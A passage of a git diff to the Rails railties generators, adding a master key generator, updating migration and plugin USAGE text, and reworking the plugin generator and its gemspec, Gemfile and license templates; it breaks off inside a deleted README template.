@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class IntegrationTestGenerator < NamedBase # :nodoc:
diff --git a/railties/lib/rails/generators/rails/master_key/master_key_generator.rb b/railties/lib/rails/generators/rails/master_key/master_key_generator.rb
new file mode 100644
index 0000000000000..0f7406168ba4e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/master_key/master_key_generator.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "rails/generators/base"
+require "rails/generators/rails/encryption_key_file/encryption_key_file_generator"
+require "active_support/encrypted_file"
+
+module Rails
+  module Generators
+    class MasterKeyGenerator < Base # :nodoc:
+      MASTER_KEY_PATH = Pathname.new("config/master.key")
+
+      def add_master_key_file
+        unless MASTER_KEY_PATH.exist?
+          key = ActiveSupport::EncryptedFile.generate_key
+
+          log "Adding #{MASTER_KEY_PATH} to store the master encryption key: #{key}"
+          log ""
+          log "Save this in a password manager your team can access."
+          log ""
+          log "If you lose the key, no one, including you, can access anything encrypted with it."
+
+          log ""
+          add_master_key_file_silently(key)
+          log ""
+        end
+      end
+
+      def add_master_key_file_silently(key = nil)
+        unless MASTER_KEY_PATH.exist?
+          key_file_generator.add_key_file_silently(MASTER_KEY_PATH, key)
+        end
+      end
+
+      private
+        def key_file_generator
+          EncryptionKeyFileGenerator.new([], options)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/migration/USAGE b/railties/lib/rails/generators/rails/migration/USAGE
index baf3d9894fe24..23a111fde9648 100644
--- a/railties/lib/rails/generators/rails/migration/USAGE
+++ b/railties/lib/rails/generators/rails/migration/USAGE
@@ -1,35 +1,45 @@
 Description:
-    Stubs out a new database migration. Pass the migration name, either
+    Generates a new database migration. Pass the migration name, either
     CamelCased or under_scored, and an optional list of attribute pairs as arguments.
 
     A migration class is generated in db/migrate prefixed by a timestamp of the current date and time.
 
     You can name your migration in either of these formats to generate add/remove
-    column lines from supplied attributes: AddColumnsToTable or RemoveColumnsFromTable
+    column lines from supplied attributes: add_{columns}_to_{table} or remove_{columns}_from_{table}.
 
-Example:
-    `rails generate migration AddSslFlag`
+    A migration name containing JoinTable will generate join tables for use with
+    has_and_belongs_to_many associations.
+
+    You can also name your migration create_{table} along with any attributes to generate a regular table.
+
+Examples:
+    `bin/rails generate migration add_ssl_flag`
 
     If the current date is May 14, 2008 and the current time 09:09:12, this creates the AddSslFlag migration
     db/migrate/20080514090912_add_ssl_flag.rb
 
-    `rails generate migration AddTitleBodyToPost title:string body:text published:boolean`
+    `bin/rails generate migration add_title_body_published_to_post title:string body:text published:boolean`
 
-    This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with this in the Change migration:
+    This will create db/migrate/20080514090912_add_title_body_published_to_post.rb with this in the migration:
 
       add_column :posts, :title, :string
       add_column :posts, :body, :text
       add_column :posts, :published, :boolean
 
-Migration names containing JoinTable will generate join tables for use with
-has_and_belongs_to_many associations.
+    `bin/rails generate migration create_media_join_table artists musics:uniq`
 
-Example:
-    `rails g migration CreateMediaJoinTable artists musics:uniq`
-
-    will create the migration
+    This will create a join table migration:
 
     create_join_table :artists, :musics do |t|
       # t.index [:artist_id, :music_id]
       t.index [:music_id, :artist_id], unique: true
     end
+
+    `bin/rails generate migration create_users email:string`
+
+    This will create the migration:
+
+    create_table :users do |t|
+      t.string :email
+      t.timestamps
+    end
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/rails/generators/rails/migration/migration_generator.rb
index fca2a8fef48d3..91191a9dd991d 100644
--- a/railties/lib/rails/generators/rails/migration/migration_generator.rb
+++ b/railties/lib/rails/generators/rails/migration/migration_generator.rb
@@ -1,8 +1,14 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class MigrationGenerator < NamedBase # :nodoc:
       argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
       hook_for :orm, required: true, desc: "ORM to be invoked"
+
+      def self.exit_on_failure? # :nodoc:
+        true
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
deleted file mode 100644
index 025bcf4774b23..0000000000000
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ /dev/null
@@ -1,114 +0,0 @@
-Description:
-    Stubs out a new model. Pass the model name, either CamelCased or
-    under_scored, and an optional list of attribute pairs as arguments.
-
-    Attribute pairs are field:type arguments specifying the
-    model's attributes. Timestamps are added by default, so you don't have to
-    specify them by hand as 'created_at:datetime updated_at:datetime'.
-
-    As a special case, specifying 'password:digest' will generate a
-    password_digest field of string type, and configure your generated model and
-    tests for use with Active Model has_secure_password (assuming the default ORM
-    and test framework are being used).
-
-    You don't have to think up every attribute up front, but it helps to
-    sketch out a few so you can start working with the model immediately.
-
-    This generator invokes your configured ORM and test framework, which
-    defaults to Active Record and TestUnit.
-
-    Finally, if --parent option is given, it's used as superclass of the
-    created model. This allows you create Single Table Inheritance models.
-
-    If you pass a namespaced model name (e.g. admin/account or Admin::Account)
-    then the generator will create a module with a table_name_prefix method
-    to prefix the model's table name with the module name (e.g. admin_accounts)
-
-Available field types:
-
-    Just after the field name you can specify a type like text or boolean.
-    It will generate the column with the associated SQL type. For instance:
-
-        `rails generate model post title:string body:text`
-
-    will generate a title column with a varchar type and a body column with a text
-    type. If no type is specified the string type will be used by default.
-    You can use the following types:
-
-        integer
-        primary_key
-        decimal
-        float
-        boolean
-        binary
-        string
-        text
-        date
-        time
-        datetime
-
-    You can also consider `references` as a kind of type. For instance, if you run:
-
-        `rails generate model photo title:string album:references`
-
-    It will generate an `album_id` column. You should generate these kinds of fields when
-    you will use a `belongs_to` association, for instance. `references` also supports
-    polymorphism, you can enable polymorphism like this:
-
-        `rails generate model product supplier:references{polymorphic}`
-
-    For integer, string, text and binary fields, an integer in curly braces will
-    be set as the limit:
-
-        `rails generate model user pseudo:string{30}`
-
-    For decimal, two integers separated by a comma in curly braces will be used
-    for precision and scale:
-
-        `rails generate model product 'price:decimal{10,2}'`
-
-    You can add a `:uniq` or `:index` suffix for unique or standard indexes
-    respectively:
-
-        `rails generate model user pseudo:string:uniq`
-        `rails generate model user pseudo:string:index`
-
-    You can combine any single curly brace option with the index options:
-
-        `rails generate model user username:string{30}:uniq`
-        `rails generate model product supplier:references{polymorphic}:index`
-
-    If you require a `password_digest` string column for use with
-    has_secure_password, you can specify `password:digest`:
-
-        `rails generate model user password:digest`
-
-    If you require a `token` string column for use with
-    has_secure_token, you can specify `auth_token:token`:
-
-        `rails generate model user auth_token:token`
-
-Examples:
-    `rails generate model account`
-
-        For Active Record and TestUnit it creates:
-
-            Model:      app/models/account.rb
-            Test:       test/models/account_test.rb
-            Fixtures:   test/fixtures/accounts.yml
-            Migration:  db/migrate/XXX_create_accounts.rb
-
-    `rails generate model post title:string body:text published:boolean`
-
-        Creates a Post model with a string title, text body, and published flag.
-
-    `rails generate model admin/account`
-
-        For Active Record and TestUnit it creates:
-
-            Module:     app/models/admin.rb
-            Model:      app/models/admin/account.rb
-            Test:       test/models/admin/account_test.rb
-            Fixtures:   test/fixtures/admin/accounts.yml
-            Migration:  db/migrate/XXX_create_admin_accounts.rb
-
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
index c32a8a079a411..b7e6769730438 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/model_helpers"
 
 module Rails
@@ -7,6 +9,10 @@ class ModelGenerator < NamedBase # :nodoc:
 
       argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
       hook_for :orm, required: true, desc: "ORM to be invoked"
+
+      class << self
+        delegate(:desc, to: :orm_generator)
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/plugin/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE
index 9a7bf9f396439..b60ce937be1fa 100644
--- a/railties/lib/rails/generators/rails/plugin/USAGE
+++ b/railties/lib/rails/generators/rails/plugin/USAGE
@@ -1,10 +1,21 @@
 Description:
-    The 'rails plugin new' command creates a skeleton for developing any
-    kind of Rails extension with ability to run tests using dummy Rails
-    application.
+    The `rails plugin new` command creates a Rails plugin with the ability
+    to run tests using a dummy Rails application. A plugin is a gem with
+    either a railtie or an engine.
 
-Example:
-    rails plugin new ~/Code/Ruby/blog
+Examples:
+    `rails plugin new ~/Code/Ruby/blog`
 
-    This generates a skeletal Rails plugin in ~/Code/Ruby/blog.
+    This generates a Rails railtie gem in ~/Code/Ruby/blog.
     See the README in the newly created plugin to get going.
+
+    `rails plugin new blog --full`
+
+    This generates a full Rails engine gem in ./blog. The `--mountable`
+    option may also be used to generate a mountable, namespace-isolated
+    engine with assets and layouts.
+
+    `rails plugin new blog --mountable --skip-asset-pipeline`
+
+    This generates a mountable Rails engine gem at ./blog without an asset
+    pipeline. Any part of Rails can be skipped during plugin generation.
diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
index 49259f32c842e..03a9f0a902e94 100644
--- a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
@@ -1,4 +1,6 @@
-require "active_support/core_ext/hash/slice"
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
 require "rails/generators/rails/app/app_generator"
 require "date"
 
@@ -23,10 +25,18 @@ def app
           directory "app"
           empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
         end
+
+        empty_directory_with_keep_file "app/models/concerns"
+        empty_directory_with_keep_file "app/controllers/concerns"
+        remove_dir "app/mailers" if options[:skip_action_mailer]
+        remove_dir "app/jobs" if options[:skip_active_job]
       elsif full?
         empty_directory_with_keep_file "app/models"
         empty_directory_with_keep_file "app/controllers"
-        empty_directory_with_keep_file "app/mailers"
+        empty_directory_with_keep_file "app/models/concerns"
+        empty_directory_with_keep_file "app/controllers/concerns"
+        empty_directory_with_keep_file "app/mailers" unless options[:skip_action_mailer]
+        empty_directory_with_keep_file "app/jobs" unless options[:skip_active_job]
 
         unless api?
           empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
@@ -45,7 +55,7 @@ def gemfile
     end
 
     def license
-      template "MIT-LICENSE"
+      template "MIT-LICENSE" unless inside_application?
     end
 
     def gemspec
@@ -56,11 +66,32 @@ def gitignore
       template "gitignore", ".gitignore"
     end
 
+    def cifiles
+      empty_directory ".github/workflows"
+      template "github/ci.yml", ".github/workflows/ci.yml"
+      template "github/dependabot.yml", ".github/dependabot.yml"
+    end
+
+    def rubocop
+      template "rubocop.yml", ".rubocop.yml"
+    end
+
+    def version_control
+      if !options[:skip_git] && !options[:pretend]
+        run git_init_command, capture: options[:quiet], abort_on_failure: false
+      end
+    end
+
     def lib
       template "lib/%namespaced_name%.rb"
       template "lib/tasks/%namespaced_name%_tasks.rake"
       template "lib/%namespaced_name%/version.rb"
-      template "lib/%namespaced_name%/engine.rb" if engine?
+
+      if engine?
+        template "lib/%namespaced_name%/engine.rb"
+      else
+        template "lib/%namespaced_name%/railtie.rb"
+      end
     end
 
     def config
@@ -70,27 +101,38 @@ def config
     def test
       template "test/test_helper.rb"
       template "test/%namespaced_name%_test.rb"
-      append_file "Rakefile", <<-EOF
-#{rakefile_test_tasks}
 
-task default: :test
-      EOF
       if engine?
+        empty_directory_with_keep_file "test/fixtures/files"
+        empty_directory_with_keep_file "test/controllers"
+        empty_directory_with_keep_file "test/mailers"
+        empty_directory_with_keep_file "test/models"
+        empty_directory_with_keep_file "test/integration"
+
+        unless api?
+          empty_directory_with_keep_file "test/helpers"
+        end
+
         template "test/integration/navigation_test.rb"
       end
     end
 
-    PASSTHROUGH_OPTIONS = [
-      :skip_active_record, :skip_action_mailer, :skip_javascript, :skip_sprockets, :database,
-      :javascript, :quiet, :pretend, :force, :skip
-    ]
+    DUMMY_IGNORE_OPTIONS = %i[dev edge master template]
 
     def generate_test_dummy(force = false)
-      opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
+      opts = options.transform_keys(&:to_sym).except(*DUMMY_IGNORE_OPTIONS)
       opts[:force] = force
+      opts[:skip_thruster] = true
+      opts[:skip_brakeman] = true
+      opts[:skip_bundler_audit] = true
       opts[:skip_bundle] = true
-      opts[:api] = options.api?
-      opts[:skip_listen] = true
+      opts[:skip_ci] = true
+      opts[:skip_kamal] = true
+      opts[:skip_solid] = true
+      opts[:skip_git] = true
+      opts[:skip_hotwire] = true
+      opts[:skip_rubocop] = true
+      opts[:dummy_app] = true
 
       invoke Rails::Generators::AppGenerator,
         [ File.expand_path(dummy_path, destination_root) ], opts
@@ -98,25 +140,29 @@ def generate_test_dummy(force = false)
 
     def test_dummy_config
       template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
-      template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
+
       if mountable?
         template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
       end
+      if engine? && !api?
+        insert_into_file "#{dummy_path}/config/application.rb", indent(<<~RUBY, 4), after: /^\s*config\.load_defaults.*\n/
+
+          # For compatibility with applications that use this config
+          config.action_controller.include_all_helpers = false
+        RUBY
+      end
     end
 
     def test_dummy_assets
-      template "rails/javascripts.js",    "#{dummy_path}/app/assets/javascripts/application.js", force: true
-      template "rails/stylesheets.css",   "#{dummy_path}/app/assets/stylesheets/application.css", force: true
-      template "rails/dummy_manifest.js", "#{dummy_path}/app/assets/config/manifest.js", force: true
+      template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true
     end
 
     def test_dummy_clean
       inside dummy_path do
-        remove_file ".gitignore"
-        remove_file "db/seeds.rb"
-        remove_file "doc"
+        remove_file ".ruby-version"
+        remove_dir "db"
         remove_file "Gemfile"
-        remove_file "lib/tasks"
+        remove_dir "lib"
         remove_file "public/robots.txt"
         remove_file "README.md"
         remove_file "test"
@@ -124,10 +170,6 @@ def test_dummy_clean
       end
     end
 
-    def assets_manifest
-      template "rails/engine_manifest.js", "app/assets/config/#{underscored_name}_manifest.js"
-    end
-
     def stylesheets
       if mountable?
         copy_file "rails/stylesheets.css",
@@ -137,23 +179,12 @@ def stylesheets
       end
     end
 
-    def javascripts
-      return if options.skip_javascript?
-
-      if mountable?
-        template "rails/javascripts.js",
-                 "app/assets/javascripts/#{namespaced_name}/application.js"
-      elsif full?
-        empty_directory_with_keep_file "app/assets/javascripts/#{namespaced_name}"
-      end
-    end
-
-    def bin(force = false)
-      bin_file = engine? ? "bin/rails.tt" : "bin/test.tt"
-      template bin_file, force: force do |content|
+    def bin
+      exclude_pattern = Regexp.union([(engine? ? /test\.tt/ : /rails\.tt/), (/rubocop/ if skip_rubocop?)].compact)
+      directory "bin", { exclude_pattern: exclude_pattern } do |content|
         "#{shebang}\n" + content
       end
-      chmod "bin", 0755, verbose: false
+      chmod "bin", 0755 & ~File.umask, verbose: false
     end
 
     def gemfile_entry
@@ -161,7 +192,7 @@ def gemfile_entry
 
       gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
       if File.exist? gemfile_in_app_path
-        entry = "gem '#{name}', path: '#{relative_path}'"
+        entry = %{\ngem "#{name}", path: "#{relative_path}"}
         append_file gemfile_in_app_path, entry
       end
     end
@@ -180,7 +211,7 @@ class PluginGenerator < AppBase # :nodoc:
                                   desc: "Generate a rails engine with bundled Rails application for testing"
 
       class_option :mountable,    type: :boolean, default: false,
-                                  desc: "Generate mountable isolated application"
+                                  desc: "Generate mountable isolated engine"
 
       class_option :skip_gemspec, type: :boolean, default: false,
                                   desc: "Skip gemspec file"
@@ -195,24 +226,45 @@ class PluginGenerator < AppBase # :nodoc:
       def initialize(*args)
         @dummy_path = nil
         super
+        imply_options
+
+        if !engine? || !with_dummy_app?
+          self.options = options.merge(skip_asset_pipeline: true).freeze
+        end
       end
 
+      public_task :report_implied_options
       public_task :set_default_accessors!
       public_task :create_root
 
+      def target_rails_prerelease
+        super("plugin new")
+      end
+
       def create_root_files
         build(:readme)
         build(:rakefile)
         build(:gemspec)   unless options[:skip_gemspec]
         build(:license)
         build(:gitignore) unless options[:skip_git]
-        build(:gemfile)   unless options[:skip_gemfile]
+        build(:gemfile)
+        build(:version_control)
       end
 
       def create_app_files
         build(:app)
       end
 
+      def create_rubocop_file
+        return if skip_rubocop?
+        build(:rubocop)
+      end
+
+      def create_cifiles
+        return if skip_ci?
+        build(:cifiles)
+      end
+
       def create_config_files
         build(:config)
       end
@@ -229,10 +281,6 @@ def create_public_stylesheets_files
         build(:stylesheets) unless api?
       end
 
-      def create_javascript_files
-        build(:javascripts) unless api?
-      end
-
       def create_bin_files
         build(:bin)
       end
@@ -256,12 +304,6 @@ def finish_template
 
       public_task :apply_rails_template
 
-      def run_after_bundle_callbacks
-        @after_bundle_callbacks.each do |callback|
-          callback.call
-        end
-      end
-
       def name
         @name ||= begin
           # same as ActiveSupport::Inflector#underscore except not replacing '-'
@@ -283,6 +325,33 @@ def namespaced_name
       end
 
     private
+      def gemfile_entries
+        [
+          rails_gemfile_entry,
+          simplify_gemfile_entries(
+            web_server_gemfile_entry,
+            database_gemfile_entry,
+            asset_pipeline_gemfile_entry,
+          ),
+        ].flatten.compact
+      end
+
+      def rails_gemfile_entry
+        if options[:skip_gemspec]
+          super
+        elsif rails_prerelease?
+          super.dup.tap do |entry|
+            entry.comment = <<~COMMENT
+              Your gem is dependent on a prerelease version of Rails. Once you can lock this
+              dependency down to a specific version, move it to your gemspec.
+            COMMENT
+          end
+        end
+      end
+
+      def simplify_gemfile_entries(*gemfile_entries)
+        gemfile_entries.flatten.compact.map { |entry| GemfileEntry.floats(entry.name) }
+      end
 
       def create_dummy_app(path = nil)
         dummy_path(path) if path
@@ -290,17 +359,16 @@ def create_dummy_app(path = nil)
         say_status :vendor_app, dummy_path
         mute do
           build(:generate_test_dummy)
-          store_application_definition!
           build(:test_dummy_config)
-          build(:test_dummy_assets)
+          build(:test_dummy_assets) unless skip_asset_pipeline?
           build(:test_dummy_clean)
           # ensure that bin/rails has proper dummy_path
-          build(:bin, true)
+          build(:bin)
         end
       end
 
       def engine?
-        full? || mountable?
+        full? || mountable? || options[:engine]
       end
 
       def full?
@@ -338,9 +406,9 @@ def modules
       def wrap_in_modules(unwrapped_code)
         unwrapped_code = "#{unwrapped_code}".strip.gsub(/\s$\n/, "")
         modules.reverse.inject(unwrapped_code) do |content, mod|
-          str = "module #{mod}\n"
-          str += content.lines.map { |line| "  #{line}" }.join
-          str += content.present? ? "\nend" : "end"
+          str = +"module #{mod}\n"
+          str << content.lines.map { |line| "  #{line}" }.join
+          str << (content.present? ? "\nend" : "end")
         end
       end
 
@@ -374,12 +442,16 @@ def email
         end
       end
 
+      def rails_version_specifier(gem_version = Rails.gem_version)
+        [">= #{gem_version}"]
+      end
+
       def valid_const?
-        if original_name =~ /-\d/
+        if /-\d/.match?(original_name)
           raise Error, "Invalid plugin name #{original_name}. Please give a name which does not contain a namespace starting with numeric characters."
-        elsif original_name =~ /[^\w-]+/
+        elsif /[^\w-]+/.match?(original_name)
           raise Error, "Invalid plugin name #{original_name}. Please give a name which uses only alphabetic, numeric, \"_\" or \"-\" characters."
-        elsif camelized =~ /^\d/
+        elsif /^\d/.match?(camelized)
           raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
         elsif RESERVED_NAMES.include?(name)
           raise Error, "Invalid plugin name #{original_name}. Please give a " \
@@ -390,34 +462,10 @@ def valid_const?
         end
       end
 
-      def application_definition
-        @application_definition ||= begin
-
-          dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
-          unless options[:pretend] || !File.exist?(dummy_application_path)
-            contents = File.read(dummy_application_path)
-            contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
-          end
-        end
-      end
-      alias :store_application_definition! :application_definition
-
       def get_builder_class
         defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
       end
 
-      def rakefile_test_tasks
-        <<-RUBY
-require 'rake/testtask'
-
-Rake::TestTask.new(:test) do |t|
-  t.libs << 'test'
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = false
-end
-        RUBY
-      end
-
       def dummy_path(path = nil)
         @dummy_path = path if path
         @dummy_path || options[:dummy_path]
@@ -432,12 +480,22 @@ def rails_app_path
       end
 
       def inside_application?
-        rails_app_path && app_path =~ /^#{rails_app_path}/
+        rails_app_path && destination_root.start_with?(rails_app_path.to_s)
       end
 
       def relative_path
         return unless inside_application?
-        app_path.sub(/^#{rails_app_path}\//, "")
+        app_path.delete_prefix("#{rails_app_path}/")
+      end
+
+      def test_command
+        if engine? && !options[:skip_active_record] && with_dummy_app?
+          "bin/rails db:test:prepare test"
+        elsif engine?
+          "bin/rails test"
+        else
+          "bin/test"
+        end
       end
     end
   end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
deleted file mode 100644
index d84d1aabdb6e9..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
+++ /dev/null
@@ -1,24 +0,0 @@
-$:.push File.expand_path("../lib", __FILE__)
-
-# Maintain your gem's version:
-require "<%= namespaced_name %>/version"
-
-# Describe your gem and declare its dependencies:
-Gem::Specification.new do |s|
-  s.name        = "<%= name %>"
-  s.version     = <%= camelized_modules %>::VERSION
-  s.authors     = ["<%= author %>"]
-  s.email       = ["<%= email %>"]
-  s.homepage    = "TODO"
-  s.summary     = "TODO: Summary of <%= camelized_modules %>."
-  s.description = "TODO: Description of <%= camelized_modules %>."
-  s.license     = "MIT"
-
-  s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.md"]
-
-  <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "<%= Array(rails_version_specifier).join('", "') %>"
-<% unless options[:skip_active_record] -%>
-
-  s.add_development_dependency "<%= gem_for_database[0] %>"
-<% end -%>
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec.tt b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec.tt
new file mode 100644
index 0000000000000..9527a8e2ea749
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec.tt
@@ -0,0 +1,28 @@
+require_relative "lib/<%= namespaced_name %>/version"
+
+Gem::Specification.new do |spec|
+  spec.name        = <%= name.inspect %>
+  spec.version     = <%= camelized_modules %>::VERSION
+  spec.authors     = [ <%= author.inspect %> ]
+  spec.email       = [ <%= email.inspect %> ]
+  spec.homepage    = "TODO"
+  spec.summary     = "TODO: Summary of <%= camelized_modules %>."
+  spec.description = "TODO: Description of <%= camelized_modules %>."
+  <%- unless inside_application? -%>
+  spec.license     = "MIT"
+  <%- end -%>
+
+  # Prevent pushing this gem to RubyGems.org. To allow pushes either set the "allowed_push_host"
+  # to allow pushing to a single host or delete this section to allow pushing to any host.
+  spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
+
+  spec.metadata["homepage_uri"] = spec.homepage
+  spec.metadata["source_code_uri"] = "TODO: Put your gem's public repo URL here."
+  spec.metadata["changelog_uri"] = "TODO: Put your gem's CHANGELOG.md URL here."
+
+  spec.files = Dir.chdir(File.expand_path(__dir__)) do
+    Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.md"]
+  end
+
+  <%= "# " if rails_prerelease? -%>spec.add_dependency "rails", "<%= Array(rails_version_specifier).join('", "') %>"
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
deleted file mode 100644
index 22a4548ff2139..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/Gemfile
+++ /dev/null
@@ -1,47 +0,0 @@
-source 'https://rubygems.org'
-
-<% if options[:skip_gemspec] -%>
-<%= '# ' if options.dev? || options.edge? -%>gem 'rails', '<%= Array(rails_version_specifier).join("', '") %>'
-<% else -%>
-# Declare your gem's dependencies in <%= name %>.gemspec.
-# Bundler will treat runtime dependencies like base dependencies, and
-# development dependencies will be added by default to the :development group.
-gemspec
-<% end -%>
-
-<% if options[:skip_gemspec] -%>
-group :development do
-  gem '<%= gem_for_database[0] %>'
-end
-<% else -%>
-# Declare any dependencies that are still in development here instead of in
-# your gemspec. These might include edge Rails or gems from your path or
-# Git. Remember to move these dependencies to your gemspec before releasing
-# your gem to rubygems.org.
-<% end -%>
-
-<% if options.dev? || options.edge? -%>
-# Your gem is dependent on dev or edge Rails. Once you can lock this
-# dependency down to a specific version, move it to your gemspec.
-<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
-<% gemfile_entries.each do |gem| -%>
-<% if gem.comment -%>
-
-# <%= gem.comment %>
-<% end -%>
-<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
-<% if gem.options.any? -%>
-, <%= gem.options.map { |k,v|
-  "#{k}: #{v.inspect}" }.join(', ') %>
-<% end -%>
-<% end -%>
-
-<% end -%>
-<% if RUBY_ENGINE == 'ruby' -%>
-# To use a debugger
-# gem 'byebug', group: [:development, :test]
-<% end -%>
-<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince|java/) -%>
-
-gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile.tt b/railties/lib/rails/generators/rails/plugin/templates/Gemfile.tt
new file mode 100644
index 0000000000000..0b70ca977cf54
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile.tt
@@ -0,0 +1,23 @@
+source "https://rubygems.org"
+<% unless options[:skip_gemspec] -%>
+
+# Specify your gem's dependencies in <%= name %>.gemspec.
+gemspec
+<% end -%>
+<% gemfile_entries.each do |gemfile_entry| %>
+<%= gemfile_entry %>
+<% end -%>
+<%- unless options.skip_rubocop? -%>
+
+# Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
+gem "rubocop-rails-omakase", require: false
+<%- end -%>
+<% if RUBY_ENGINE == "ruby" -%>
+
+# Start debugger with binding.b [https://github.com/ruby/debug]
+# gem "debug", ">= 1.0.0"
+<% end -%>
+<% if RUBY_PLATFORM.match?(/mingw|mswin|java/) -%>
+
+gem "tzinfo-data", platforms: %i[ windows jruby ]
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
deleted file mode 100644
index ff2fb3ba4e94a..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright <%= Date.today.year %> <%= author %>
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt
new file mode 100644
index 0000000000000..f02896d8ac0f7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt
@@ -0,0 +1,20 @@
+Copyright <%= author %>
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.md b/railties/lib/rails/generators/rails/plugin/templates/README.md
deleted file mode 100644
index 9d2b74416eaf1..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/README.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# <%= camelized_modules %>
-Short description and motivation.
-
-## Usage
-How to use my plugin.
-
-## Installation
-Add this line to your application's Gemfile:
